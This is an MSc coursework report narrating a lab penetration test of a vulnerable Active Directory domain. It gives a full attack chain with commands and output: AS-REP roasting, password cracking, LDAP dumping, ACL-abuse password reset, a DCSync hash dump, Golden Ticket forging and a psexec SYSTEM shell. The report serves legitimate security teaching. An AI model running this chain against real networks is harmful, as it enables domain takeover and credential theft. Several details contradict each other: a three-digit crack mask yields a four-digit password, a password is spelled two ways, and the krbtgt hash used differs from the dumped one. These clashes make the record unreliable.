

University of Piraeus
Department of Digital Systems
MSc 'Cybersecurity and Artificial Intelligence
Technologies'

Cyber Defence and Digital Forensics
Spring Semester 2025-2026
Assignment 1



Ioannis Kalaitzidis

Introduction

This assignment presents the practical application of a penetration testing scenario in an Active Directory environment running on a Windows Server 2019 Domain Controller. Using specialised security tools on Kali Linux (Nmap, Impacket, PowerView, and others), a complete attack chain was carried out — from initial reconnaissance to the forging of a Golden Ticket.

Through the use of specialised security tools on Kali Linux, a complete attack chain was carried out against a deliberately vulnerable Active Directory environment, culminating in the acquisition of domain administrator-level privileges.

Practical part of the assignment

https://drive.google.com/drive/folders/1O_RH69612KE4agGV-U7tFXg_pOcO6YVh?usp=sharing

Attacking AD

This attack follows our well-known pentesting cycle: Enumeration → Initial access → Enumeration → Privilege escalation.

Note: All attacks can be performed from Windows or Kali Linux. The guide below assumes Kali Linux as the attacker's machine.

Warning: When copying a command from this PDF file to a terminal, the single (') and double (") quotes may be replaced with stylized quotes due to character encoding. This can cause the command to fail. To avoid errors, always delete and retype any quotes manually in the terminal.

Q1: [Enumeration] Use nmap to identify the IP address of the VM machine and the domain name. Which specific port indicates that the machine is a domain controller? Which specific service (port) is enabled which by default it is disabled on a Windows server? (Google it)

Answer:

As the first step of the reconnaissance (Enumeration) process, it was necessary to determine the IP address of the attacker machine on the network. After verifying the network range, the next stage involved identifying active hosts (host discovery) using Nmap.

```
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 00:0c:29:fe:e8:b5 brd ff:ff:ff:ff:ff:ff
   inet 192.168.30.129/24 brd 192.168.30.255 scope global dynamic noprefixroute eth0
       valid_lft 1087sec preferred_lft 1087sec
   inet6 fe80::36ed:f8e6:63b6:348c/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
   link/ether 02:42:18:39:97:43 brd ff:ff:ff:ff:ff:ff
   inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-480f97c7b15a: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
   link/ether 02:42:e2:f6:7f:61 brd ff:ff:ff:ff:ff:ff
   inet 172.18.0.1/16 brd 172.18.255.255 scope global br-480f97c7b15a
       valid_lft forever preferred_lft forever

(kali@kali)-[~]
$
```

After confirming the network range, the next stage involved identifying active hosts (host discovery) using Nmap: `sudo nmap -sn 192.168.30.0/24`.

To identify the target, the elimination method was applied, taking into account the default architecture of a VMware network (gateway at .1, DHCP at .254, Kali Linux at .129 or .131).

```
(kali㉿kali)-[~]
$ sudo nmap -sn 192.168.30.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-20 11:07 EDT
Nmap scan report for 192.168.30.1
Host is up (0.0044s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.30.2
Host is up (0.00036s latency).
MAC Address: 00:50:56:F0:19:62 (VMware)
Nmap scan report for 192.168.30.135
Host is up (0.00078s latency).
MAC Address: 00:0C:29:F9:44:8F (VMware)
Nmap scan report for 192.168.30.254
Host is up (0.00053s latency).
MAC Address: 00:50:56:EA:8C:02 (VMware)
Nmap scan report for 192.168.30.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.15 seconds

(kali㉿kali)-[~]
$
```

Having now isolated the exact address of the target, the last step of the initial reconnaissance involved a comprehensive scan of the identified server.

- OS Detection (-O): Performs packet analysis for identifying the underlying Operating System.
- Version Detection (-sV): Attempts the precise identification of the versions of active services (Service Detection).
- Script Scanning (-sC): Executes the default inspection scripts of Nmap's Scripting Engine (NSE) for automatic vulnerability detection.
- Traceroute (--traceroute): Maps the routing and path of packets in the network towards the target.

The objective of this specific scan was to search for characteristic services that would confirm the machine's role as a Domain Controller.

Analysis of the scan results provided indisputable proof that the examined server is functioning as an Active Directory Domain Controller.

Answering the second part of the question, regarding the service found enabled that is traditionally disabled in production environments due to security risks: WinRM (Windows Remote Management, port 5985) was identified as active.

Q2: [Enumeration] As a first step, you should try to obtain credentials of a user. You will perform a well-known attack to obtain credentials (in a hash format) of a domain user that preauthentication is disabled. The below dictionary will be helpful (https://github.com/attackdebris/kerberos_enum_userlists/blob/master/First_Names_Top_500.txt). After obtaining the user's hash, you should perform a brute-force attack using the tool John the ripper. The machine's password policy enforces passwords that start with the username in lowercase, followed by four digits, and ending with a special character.

Answer:

In the second stage of the evaluation, the primary objective was to extract valid credentials through an AS-REP Roasting attack targeting user accounts that have pre-authentication disabled.

Subsequently, the Impacket library was utilised — specifically the GetNPUsers.py tool. Through this script, an attempt was made to request authentication tickets for users from the target domain without providing a password.

```
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py  
MARVEL.local/ -usersfile First_Names_Top_500.txt -format john -  
outputfile hashes.txt -dc-ip 192.168.30.135
```

Analysis of the parameters of this specific command reveals its exact operation:

- **python3 /usr/share/doc/.../GetNPUsers.py:** Calls the Python 3 interpreter to execute the Impacket library script.
- **MARVEL.local/:** Defines the fully qualified name of the domain that constitutes the target of the attack.
- **-usersfile First_Names_Top_500.txt:** Feeds the tool with the previously downloaded wordlist, directing it to test each name for the existence of an account with pre-authentication disabled.
- **-format john:** Specifies the output format of the encrypted ticket, so that the generated hash can be directly read and cracked by the John the Ripper tool.
- **-outputfile hashes.txt:** Instructs the system to automatically save the successful results (retrieved hashes) to a local file.
- **-dc-ip 192.168.30.135:** Explicitly sets the IP address of the Domain Controller, routing the AS-REP requests directly to it.

The execution of the command submitted a request for AS-REP tickets (Ticket Granting Tickets) for each name on the list. The Domain Controller responded with an encrypted Kerberos TGT for the user 'jimmy', confirming that the pre-authentication requirement was disabled for this account.

Having successfully extracted the encrypted NTLM hash (AS-REP) of the user jimmy, which was automatically saved to the local hashes.txt file, the next stage was cracking the hash to recover the plaintext password.

To optimise execution time and avoid a non-targeted, exhaustive brute-force test (blind brute-force), the search space was strategically constrained.

- **john:** Calls the executable of the 'John the Ripper' tool — one of the most established password hash cracking tools.
- **--mask=jimmy?d?d?d?s:** This parameter defines with absolute precision the password format the tool will search for.
 - **jimmy:** Constitutes the fixed prefix of the password, satisfying the requirement that the passphrase starts with the user's name.
 - **?d?d?d?d:** Constitutes the variable (dynamic) part covering the four mandatory digits. The symbol '?d' (digit) directs the tool to test all combinations of digits 0-9.
 - **?s:** Represents the terminal special character. The symbol '?s' (special) tests printable non-alphanumeric characters (such as !, @, #, \$, %, etc.).
- **hashes.txt:** Indicates the input file containing the encrypted NTLM hash (AS-REP) retrieved in the previous stage.

Thanks to this drastic restriction of the search space, the tool read the generated file and completed the cracking process successfully, revealing the plaintext password.

```
(kali@kali)-[~]
$ john --mask=jimmy?d?d?d?s hashes.txt

Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 512/512 AVX512BW 16x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jimmy1234$ ($krb5asrep$jIMMY@MARVEL.LOCAL)
1g 0:00:00:00 DONE (2026-05-20 12:00) 7.142g/s 702171p/s 702171c/s 702171C/s jimmy5825$..jimmy3136$
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

(kali@kali)-[~]
$
```

Q3: [Enumeration] Now that you have plaintext credentials of a domain user, you can proceed to further enumerate the domain. To this end, we will use the tool `ldapdomaindump` (or any other tool you have in mind). From the output of this tool, identify a domain user that has **Remote Desktop access** to the machine (by default domain users do not have privs for remote desktop connection). Note also that there is another domain user which we will be useful in next steps.

Answer:

After successfully obtaining the credentials of the user jimmy in plaintext, the penetration testing process proceeded to the next stage: Internal Reconnaissance via LDAP Dumping.

The execution of the command `ldapdomaindump 192.168.30.135 -u 'MARVEL\JIMMY' -p 'jimmy1234$'` allowed the extraction of the entire Active Directory topology.

- **ldapdomaindump:** Calls the tool's executable, which specialises in mass collection and export of information from an LDAP directory service.
- **192.168.30.135:** Explicitly specifies the IP address of the target server (Domain Controller) to which the LDAP request will be routed.
- **-u 'MARVEL\JIMMY':** Defines the account that will be used for authentication. The MARVEL prefix specifies the domain context.
- **-p 'jimmy1234\$':** Enters the valid password of the user, successfully retrieved in the previous stage.

After successful authentication, the tool converted the retrieved data from the central directory database into structured HTML and JSON reports.

The successful completion of LDAP authentication and the complete extraction of the Active Directory topology established the foundation for the critical next stage.

During the review of the document, the group 'Remote Desktop Users' was identified, in which it was found that only one specific user account is a member.

Domain Admins									
CN	name	SAM Name	Created on	Changed on	lastLogon	Flags	pwdLastSet	SID	description
superman	superman	superman	07/31/24 19:14:23	07/31/24 19:43:18	01/01/01 00:00:00	NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD	07/31/24 19:14:24	1108	
Administrator	Administrator	Administrator	07/30/24 08:41:36	07/30/24 08:57:50	08/01/24 08:47:57	NORMAL_ACCOUNT	07/30/24 08:29:20	500	Built-in account for administering the computer/domain

Domain Users									
CN	name	SAM Name	Created on	Changed on	lastLogon	Flags	pwdLastSet	SID	description
superman	superman	superman	07/31/24 19:14:23	07/31/24 19:43:18	01/01/01 00:00:00	NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD	07/31/24 19:14:24	1108	
jimmy	jimmy	jimmy	07/31/24 07:19:14	05/20/26 15:47:09	05/20/26 15:47:09	NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQ_PREAUTH	07/31/24 07:19:14	1107	
trinity	trinity	trinity	07/30/24 13:35:11	07/31/24 18:29:59	07/31/24 18:29:46	NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD	07/31/24 18:29:59	1106	
john	john	john	07/30/24 11:44:38	08/01/24 20:24:24	07/42:15	NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD	07/30/24 11:44:38	1105	The password of this user is lovelyjob!
krbtgt	krbtgt	krbtgt	07/30/24 08:42:40	07/30/24 08:57:50	01/01/01 00:00:00	ACCOUNT_DISABLED, NORMAL_ACCOUNT	07/30/24 08:42:40	502	Key Distribution Center Service Account
christoforos	christoforos	christoforos	07/30/24 08:41:36	07/30/24 08:57:50	07/03/24 19:00:31	PASSWD_NOTREQD, NORMAL_ACCOUNT	07/03/24 19:00:31	1000	
DefaultAccount	DefaultAccount	DefaultAccount	07/30/24 08:41:36	07/30/24 08:41:36	01/01/01 00:00:00	ACCOUNT_DISABLED, PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD	01/01/01 00:00:00	503	A user account managed by the system.
			07/30/24	07/30/24	08/01/24		07/30/24		Built-in account for

Through the thorough analysis of the generated HTML reports, two critical findings were extracted that complete the reconnaissance stage.

First, the possibility of remote connection was investigated. As emerged from the directory files, the only user account with the right to establish a remote connection (RDP) to the Domain Controller is john.

Second, regarding the identification of the high-value account referred to in the evaluation scenario as 'User X': analysis of the administrator group memberships identified the account trinity as a member of sensitive privileged groups.

Q4: [Initial access] Use the credentials of the newly discovered domain user (from the previous step) to perform remote desktop connection from Kali to the windows machine. Use the tool xfreerdp. Now for your convenience, the windows machine has a Recon folder on the desktop. This folder contains a subset of PowerView toolkit which is a collection of various Powershell scripts. To use it, open a cmd, type powershell (and press enter). Then import it using the command Import-Module [Full path of the Recon folder]. Now using PowerView i) find the SID of the domain, ii) find the SID of the current user that you have Remote Desktop

connection and iii) find the SID of another domain user which was revealed in step 3 (Google for the command).

Answer:

The process proceeded to implementing Initial Access via a graphical connection environment. Specifically, the xfreerdp tool was used to establish a Remote Desktop Protocol (RDP) connection.

After successfully installing the tool, the attack continued exploiting the credentials of the user john, which were found exposed — stored in plaintext in the description field of his AD account.

- **xfreerdp: Calls the XFreeRDP tool executable — an open-source client for establishing remote desktop connections.**
- **/u:john: Specifies the username that will be used for authentication on the server.**
- **/p:'lovemyjob!': Enters the password in plaintext. Enclosing the password in single quotes is a standard technique for handling passwords containing special characters.**
- **/v:192.168.30.135: Specifies the IP address of the target server to which the remote connection request is directed.**

During the connection negotiation phase, the Remote Desktop Protocol required confirmation of the target's identity certificate.

Approval of the certificate allowed the secure, encrypted communication between the two systems and led to the successful establishment of the remote desktop session.

After establishing graphical access, the next stage involved further internal reconnaissance. For the execution of the PowerShell commands, PowerView was imported as a module.

The main objective of this step was the extraction of Security Identifiers (SIDs), which constitute the unique numerical identifiers of every object in Active Directory.

The collection of these critical identifiers completed the profile reconnaissance phase, laying the groundwork for the Privilege Escalation attack.

Q5: [Enumeration] Execute the below PowerView command:

```
get-objectacl -resolveguids | ? {($_.securityidentifier -eq "S-1-5-21-1575439555-6376543786-9867458395-7777")}
```

Note: In the above command replace the SID S-1-5-21-1575439555-6376543786-9867458395-7777 with your own discovered SID of the user that you have performed remote desktop connection.

Write the output of the command.

Answer:

Moving to the fifth stage of the evaluation, the main objective shifted to Privilege Escalation through ACL (Access Control List) Abuse.

To examine the exact permissions (outbound ACLs) that the user john held over other objects, the following PowerShell command was executed via PowerView.

The command that was composed and executed in the PowerShell environment was: `Get-ObjectAcl -ResolveGUIDs | ? {$_ .SecurityIdentifier -eq 'S-1-5-...-1105'}`

- **Get-ObjectAcl:** The basic cmdlet of the PowerView tool. It undertakes to scan the Active Directory database and retrieve the Access Control Entries (ACEs) of all objects.
- **-ResolveGUIDs:** The use of this specific parameter was decisive. Active Directory stores permissions under cryptic GUIDs; this flag translates them into readable names.

- | (Pipeline): The PowerShell piping mechanism that takes the massive data volume and passes it to the next command for processing.
- ? (Where-Object): The PowerShell filtering command that retains only results meeting a specific condition.
- {\$_SecurityIdentifier -eq 'S-1-5...-1105'}: The logical check block — filtering to show only those ACEs where the SecurityIdentifier matches john's SID.

Essentially, the composition of this command allowed the programmatic filtering (parsing) of the entire Active Directory permissions database, isolating exclusively the rights that the user john holds over other objects.

```

PS C:\Users\john> Import-Module C:\Users\john\Desktop\Recon\PowerView.ps1
PS C:\Users\john> Get-DomainSID
S-1-5-21-1715203879-2720366066-1195210097
PS C:\Users\john> Convert-NameToSid john
S-1-5-21-1715203879-2720366066-1195210097-1105
PS C:\Users\john> Convert-NameToSid superman
S-1-5-21-1715203879-2720366066-1195210097-1108
PS C:\Users\john> Get-ObjectAcl -ResolveGUIDs | ? {$_SecurityIdentifier -eq "S-1-5-21-1715203879-2720366066-1195210097-1105"}

AceType           : AccessAllowed
ObjectDN          : CN=trinity,CN=Users,DC=MARVEL,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength      : 0
ObjectSID         : S-1-5-21-1715203879-2720366066-1195210097-1106
InheritanceFlags  : None
BinaryLength      : 36
IsInherited       : False
IsCallback        : False
PropagationFlags  : None
SecurityIdentifier : S-1-5-21-1715203879-2720366066-1195210097-1105
AccessMask        : 983551
AuditFlags        : None
AceFlags          : None
AceQualifier      : AccessAllowed

PS C:\Users\john>

```

The thorough analysis of the results returned by the command provided decisive findings that revised the initial assessment of the attacker's reach.

The most critical element, however, was found in the ObjectDN (Distinguished Name) field, which determines the target entity: john possesses full GenericAll permissions over the user trinity ('User X').

Q6: [Enumeration] Now let's try to understand the output of the previous command. Essentially, it shows that the current user with the specific SID that you provided has GenericAll privileges over another user referred to here as User X — who is associated with a different SID. Having GenericAll privileges means that we have the

rights to do several actions on User X including changing his/her password without knowing the old one. This is exactly what we are going to do next. First the username of the User X, and change his/her password from the opened powershell (Google how to change a password of a user from the command line).

Note: a command just to **verify** the GenericAll privileges is to execute the command:

```
(Get-ACL "AD:$((Get-ADUser -Identity 'USER X').distinguishedname)").access | Select IdentityReference, AccessControlType, ActiveDirectoryRights | Where-Object {$_.ActiveDirectoryRights -contains "GenericAll"}
```

Replace USER X with the username that you found. This command is just verification, does not provide any new information.

Note: The literature refers to exploiting such privileges in an AD environment as **Abusing ACL/ACE**.

Answer:

Having indisputably confirmed the existence of the GenericAll permission of the john account over the user trinity ('User X'), the process proceeded to the implementation of the ACL Abuse attack.

For the implementation of the attack, the built-in user management command of the operating system was utilised. Specifically, the password of trinity was forcibly changed to a new, known value.

Subsequently, in order to thoroughly document and programmatically verify the existence of the privileges that made this action possible, the PowerView cmdlet Get-ObjectAcl -DistinguishedName was used.

As shown in the screenshot above, receipt of the message 'The command completed successfully' seals the successful execution of the forced password change.

Q7: [Enumeration] Now we have the credentials (username & password) of the user X but we will not use them yet. The User X is not a domain admin (check the output of the `ldapdomaindump` or simply execute from powershell the command `net user User X`). However, he has some interesting privileges. Lets use PowerView again for further enumeration, executing the command (from your opened cmd of the previous step):

```
Get-ObjectAcl -DistinguishedName "dc=marvel,dc=local" -  
ResolveGUIDs | ?{($_.ActiveDirectoryRights -match  
'GenericAll') -or ($_.ActiveDirectoryRights -match  
'ExtendedRight')}
```

Note: Ignore error message that will be printed in the output.

Lets try to understand the above command. We are asking to read all SIDs that have **GenericAll** or **ExtendedRights** to the domain. You should pinpoint an SID (ending with **519**) of a user group that has **GenericAll** privileges. Which user group is this? Another group (ending with **512**) has several privileges (but no **GenericAll**) privileges such as **CreateChild**, **Self**, **WriteProperty**, **ExtendedRight**, **GenericRead**, **WriteDacl**, **WriteOwner**. Which user group is this?

Answer:

Despite the successful compromise of the trinity account ('User X'), this specific user is not inherently a member of the privileged 'Domain Admins' group.

To extract this information, the specialised command `Get-ObjectAcl -DistinguishedName 'CN=Domain Admins,...' -ResolveGUIDs` was executed in the PowerShell environment.

Initially, the SID with the -519 suffix was isolated, which was identified through the `IdentityReference` field as the built-in Enterprise Admins group.

During the execution of the initial `Get-ObjectAcl` command, it was found that the massive volume of returned data — due to the breadth of Active Directory

permissions — made manual identification of the relevant SIDs extremely difficult.

Utilising the central identifier of the domain (Domain SID: S-1-5-21-1715203879-2720366066-1195210097), which had been retrieved earlier, and the Convert-SidToName command, it was possible to translate the detected SIDs into readable names.

Specifically, execution of the command `Convert-SidToName S-1-5-21-1715203879-2720366066-1195210097-519` revealed that this group is 'MARVEL\Enterprise Admins'.

```
PS C:\Users\john> Convert-SidToName S-1-5-21-1715203879-2720366066-1195210097-519
MARVEL\Enterprise Admins
PS C:\Users\john> Convert-SidToName S-1-5-21-1715203879-2720366066-1195210097-512
MARVEL\Domain Admins
PS C:\Users\john> _
```

The definitive identification of the specific Security Identifiers (SIDs) confirmed that they relate to the two most powerful, privileged groups in the domain: Domain Admins (SID -512) and Enterprise Admins (SID -519).

Q8: [Enumeration] From the previous outputs you should also pinpoint that our User X has three different ExtendedRights privileges that we can exploit them to perform a well known attack. Perform this attack from Metasploit using `auxiliary/gather/windows_secrets_dump` or `impacket secretdump`.

Answer:

The scenario provided for the exploitation of specialised rights identified in the trinity account ('User X'). As emerged from the previous analysis, trinity possessed the DCSync permissions (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All).

The erroneous assignment of these privileges to a non-administrative account constitutes an extremely critical vulnerability related to the DCSync attack.

For the implementation of the attack, a return was made to the attacker's system terminal (Kali Linux) and the `impacket-secretdump` tool was utilised.

- **impacket-secretsdump**: Calls the Impacket library executable, designed to execute various data extraction techniques from Windows systems and Active Directory.
- **MARVEL.local/trinity**: Specifies the fully qualified domain name (MARVEL.local) and the user (trinity) through which the replication will be performed.
- **:'Hacked123!'**: Enters the new, valid password that was imposed in the previous stage.
- **@192.168.30.135**: Explicitly indicates the IP address of the Domain Controller that constitutes the target of the replication request.

The execution of the command was an unqualified success, forcing the server to transmit the encrypted NTLM hashes, AES keys, and Kerberos keys of all domain accounts.

```
(kali@kali)-[~]
$ impacket-secretsdump MARVEL.local/trinity:'Hacked123!'@192.168.30.135
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4cb55ea6471d29ccbb2ce4cf00271fe3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4b74e19f2aecf2086eb21d8e022a2948:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
christoforos:1000:aad3b435b51404eeaad3b435b51404ee:ca284c65026f6edf385771fa1a2379ec:::
MARVEL.local\john:1105:aad3b435b51404eeaad3b435b51404ee:650d10e458dc0f52db9b26a5126c90e7:::
MARVEL.local\trinity:1106:aad3b435b51404eeaad3b435b51404ee:dda1e66a984215e9f233baf23c316bc6:::
MARVEL.local\jimmy:1107:aad3b435b51404eeaad3b435b51404ee:91f8f7aff90553cadea0710b57bc5750:::
MARVEL.local\superman:1108:aad3b435b51404eeaad3b435b51404ee:5f44f00d3ff12b27f9743ab7af676f3e:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:0e4c9f7ab89a0ef6f8e21ae92c9e7aa6:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:4cacee62efcb6aada61f14dd63a15d1d5acba5c1d619a9f18ce260deda25d5ac
krbtgt:aes128-cts-hmac-sha1-96:36fc4fbd4ad504ec028771fcfb740af7
krbtgt:des-cbc-md5:c4a1ec9d54c7767f
MARVEL.local\john:aes256-cts-hmac-sha1-96:e784d61673a8f0743ee074887494dcf7cbc56705c31bf842026c392d4ea84dec
MARVEL.local\john:aes128-cts-hmac-sha1-96:d24a6d2bd2015187537e97dcb10e73d9
MARVEL.local\john:des-cbc-md5:6e91452513ef4946
MARVEL.local\trinity:aes256-cts-hmac-sha1-96:4ad19bb4c8db78fffa1b487d9f1b65890dd2ecb36bc5d120dc47ff371a3f51e8
MARVEL.local\trinity:aes128-cts-hmac-sha1-96:daf1810aac04021cbbb005d3ad56620e
MARVEL.local\trinity:des-cbc-md5:323b80cb1025ae6e
MARVEL.local\jimmy:aes256-cts-hmac-sha1-96:8c7455efe70f16fcb001efb08c35c4d1f3d705ecf7fb8628037911be73e820c7
MARVEL.local\jimmy:aes128-cts-hmac-sha1-96:f6f5852a77e90d42e9b7e2c3384a1fec
MARVEL.local\jimmy:des-cbc-md5:7fd6f1082ce0756b
MARVEL.local\superman:aes256-cts-hmac-sha1-96:4336d5ef028fb76c312f2b677b11211827082e67e4a5a0bd1cafd87a9cd2d936
MARVEL.local\superman:aes128-cts-hmac-sha1-96:00f81a67f2ccae81ebdfdc5da5d2661
MARVEL.local\superman:des-cbc-md5:ec465b2f6d37df26
DC$:aes256-cts-hmac-sha1-96:06d2b7242e821126ab74b9296eb737cc142b64da61ed95918bc4b7c26b734a20
DC$:aes128-cts-hmac-sha1-96:76a9751db11125c0685d0112182e4303
DC$:des-cbc-md5:40851a6eb070e985
[*] Cleaning up ...

(kali@kali)-[~]
$
```

As shown in the results of the secretsdump tool, the simulation of the Domain Controller via the DCSync attack caused the mass extraction of all NTLM hashes from the Active Directory database.

The most critical finding of this mass extraction is the retrieval of the NTLM hash (and corresponding AES keys) of the krbtgt account.

Q9: [Privilege Escalation] Now obtain domain admin privileges in the domain controller performing another well-known attack in which you have to forge a ticket. Use the impacket library

Answer:

The process proceeded to the culmination of privilege escalation (Final Privilege Escalation) and the establishment of permanent access via the forging of a Golden Ticket.

In the Kerberos architecture, the krbtgt account (Key Distribution Center Service Account) constitutes the central pillar of the entire authentication system. Its NTLM hash functions as the master key of the domain.

The Kerberos protocol presents an inherent and strict dependency on the correct resolution of computer hostnames, which is critical for the proper functioning of the forged TGT.

Because the attacking system (Kali Linux) was operating in a black-box environment without direct access to the internal DNS server of the domain, the /etc/hosts file was edited to manually add the necessary hostname resolution.

After ensuring network compatibility, the process of digitally forging the fake TGT proceeded. For this purpose, the impacket-ticketer tool was used.

- The '-nthash' parameter fed the tool with the intercepted NTLM hash of the krbtgt account.
- The '-domain-sid' parameter introduced the stable base of the domain's security identifier.
- The '-domain' parameter defined the fully qualified target domain name (MARVEL.local).
- The final target was set as the 'Administrator' entity. The use of a capital initial letter is a critical operational detail, as the tool's behaviour can be case-sensitive.

The successful completion of the command led to the generation of a forged TGT, stored locally in the form of a .ccache file.

```
(kali@kali)-[~]
$ python3 /usr/share/doc/python3-impacket/examples/ticketer.py -nthash 4b7a19f2aecf2086eb21d8e022a2948c -domain-sid S-1-5-21-1715203879-2720366066-1195210097 -domain MARVEL.local Administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for MARVEL.local/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncAsRepPart
[*] Saving ticket in Administrator.ccache

(kali@kali)-[~]
$
```

In the final phase of the attack, the cryptographic credential had to be utilised to gain access. Initially, the environment variable KRB5CCNAME was set to point to the .ccache file.

- The '-k' (Kerberos) parameter instructed the tool to bypass the traditional NTLM authentication mechanism and use instead the Kerberos ticket found in the KRB5CCNAME variable.
- The '-no-pass' parameter specified that no password would be used, forcing the tool to locate and use the pre-loaded Kerberos ticket.

During execution, psexec.py interacted with the Domain Controller, which, examining the forged TGT, recognised it as valid and granted full access. A SYSTEM-level shell was thus obtained on the Domain Controller.

```
(kali@kali)-[~]
$ export KRB5CCNAME=administrator.ccache

(kali@kali)-[~]
$ echo $KRB5CCNAME
administrator.ccache

(kali@kali)-[~]
$ python3 /usr/share/doc/python3-impacket/examples/psexec.py MARVEL.local/Administrator@DC.MARVEL.local -k -no-pass
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on DC.MARVEL.local....
[*] Found writable share ADMIN$
[*] Uploading file lHqFoJc.exe
[*] Opening SVCManager on DC.MARVEL.local....
[*] Creating service NisX on DC.MARVEL.local....
[*] Starting service NisX....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Conclusion

The completion of the Active Directory penetration test demonstrated in practice how a series of seemingly minor misconfigurations, when combined in

a chain (Attack Chain), can lead to the complete compromise of an organisation's entire infrastructure.

- **Reconnaissance phase (Nmap):** Initial identification of the active IP of the target (192.168.30.135) and mapping of the open ports and services, identifying the Domain Controller.
- **Initial access (AS-REP Roasting and John the Ripper):** Through the exploitation of disabled pre-authentication (Kerberos), the encrypted hash of the user jimmy was intercepted and his plaintext password recovered.
- **Internal reconnaissance (LDAPdomaindump):** Using jimmy's valid credentials, the complete Active Directory topology was extracted, including users, groups, memberships, and RDP permissions.
- **Privilege escalation (ACL Abuse and DCSync):** Via PowerView, the erroneous GenericAll permission of john over trinity was identified, used to forcibly change trinity's password, and then exploited to perform a DCSync attack — extracting all NTLM hashes.
- **Golden Ticket:** By intercepting the cryptographic key of the krbtgt account, a forged Kerberos TGT (Golden Ticket) was created, granting permanent, unconditional administrator access to the Domain Controller.

Analysing in depth the causes of the domain's security collapse, the identified vulnerabilities are categorised in three thematic pillars:

1. **Authentication weaknesses and password policy:** The disabling of pre-authentication (which enabled AS-REP Roasting) combined with a predictable password format led to the immediate compromise of the first account.
2. **High-criticality information leakage:** The storage of sensitive data — such as passwords in plaintext in the description field of Active Directory accounts — constitutes an unacceptable security practice.
3. **Erroneous privilege management and assignment (ACL/ACE Abuse):** The excessive assignment of full control rights (GenericAll) by john over trinity, and the DCSync rights (Replication permissions) by trinity over the domain, provided the escalation path to Domain Administrator.

The final outcome of the evaluation — the acquisition of SYSTEM-level access on the central Domain Controller — demonstrates that the compromise of a single low-privilege account, through a carefully selected chain of misconfiguration exploits, can lead to the total control of an Active Directory domain.

